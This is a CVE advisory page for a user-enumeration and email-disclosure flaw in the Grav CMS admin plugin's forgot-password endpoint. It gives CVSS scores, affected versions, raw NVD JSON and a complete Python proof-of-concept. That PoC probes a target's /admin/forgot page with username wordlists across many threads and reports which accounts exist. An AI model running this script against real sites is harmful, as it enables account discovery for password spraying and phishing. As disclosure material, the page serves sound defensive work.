Security Vulnerability Report
中文
CVE-2025-66307 CVSS 6.5 MEDIUM

CVE-2025-66307

Published: 2025-12-01 22:15:51
Last Modified: 2025-12-03 21:58:18

Description

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a user enumeration and email disclosure vulnerability exists in Grav. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering. This vulnerability is fixed in 1.11.0-beta.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:* - VULNERABLE
Grav admin plugin < 1.11.0-beta.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66307 PoC - Grav CMS User Enumeration This script demonstrates the user enumeration vulnerability in Grav CMS admin plugin. The /admin/forgot endpoint leaks information about valid usernames and emails. """ import requests import argparse import sys from concurrent.futures import ThreadPoolExecutor, as_completed class GravUserEnumeration: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.forgot_endpoint = f"{self.target_url}/admin/forgot" self.session = requests.Session() def check_user_exists(self, username): """ Check if a username exists by analyzing the response from /admin/forgot """ data = { 'username': username, 'task': 'forgot' } try: response = self.session.post( self.forgot_endpoint, data=data, timeout=10, allow_redirects=False ) # Analyze response to determine if user exists # Valid users typically get a specific response or are processed differently if response.status_code == 200: text = response.text.lower() # Different error messages indicate user existence if 'invalid' not in text and 'not found' not in text: return { 'username': username, 'exists': True, 'confidence': 'high' } else: return { 'username': username, 'exists': False, 'confidence': 'medium' } return { 'username': username, 'exists': None, 'confidence': 'low' } except requests.RequestException as e: return { 'username': username, 'exists': None, 'error': str(e) } def enumerate_users(self, username_list, threads=10): """ Enumerate users from a list of potential usernames """ valid_users = [] with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit(self.check_user_exists, user): user for user in username_list } for future in as_completed(futures): result = future.result() if result.get('exists'): valid_users.append(result) print(f"[+] Valid user found: {result['username']} (confidence: {result['confidence']})") return valid_users def main(): parser = argparse.ArgumentParser(description='CVE-2025-66307 Grav CMS User Enumeration PoC') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://target.com)') parser.add_argument('-w', '--wordlist', help='Wordlist file with usernames') parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads') args = parser.parse_args() # Default test usernames default_users = ['admin', 'administrator', 'root', 'user', 'test', 'guest'] enumerator = GravUserEnumeration(args.url) if args.wordlist: with open(args.wordlist, 'r') as f: users = [line.strip() for line in f if line.strip()] else: users = default_users print(f"[*] Starting user enumeration against {args.url}") print(f"[*] Testing {len(users)} usernames...") results = enumerator.enumerate_users(users, threads=args.threads) print(f"\n[*] Enumeration complete. Found {len(results)} valid users.") return 0 if results else 1 if __name__ == '__main__': sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66307", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:50.570", "lastModified": "2025-12-03T21:58:18.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a user enumeration and email disclosure vulnerability exists in Grav. The \"Forgot Password\" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering. This vulnerability is fixed in 1.11.0-beta.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.50", "matchCriteriaId": "73FB7A1C-A39D-4C67-B437-015016437B77"}]}]}], "references": [{"url": "https://github.com/getgrav/grav-plugin-admin/commit/99f653296504f1d6408510dd2f6f20a45a26f9b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-q3qx-cp62-f6m7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-q3qx-cp62-f6m7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}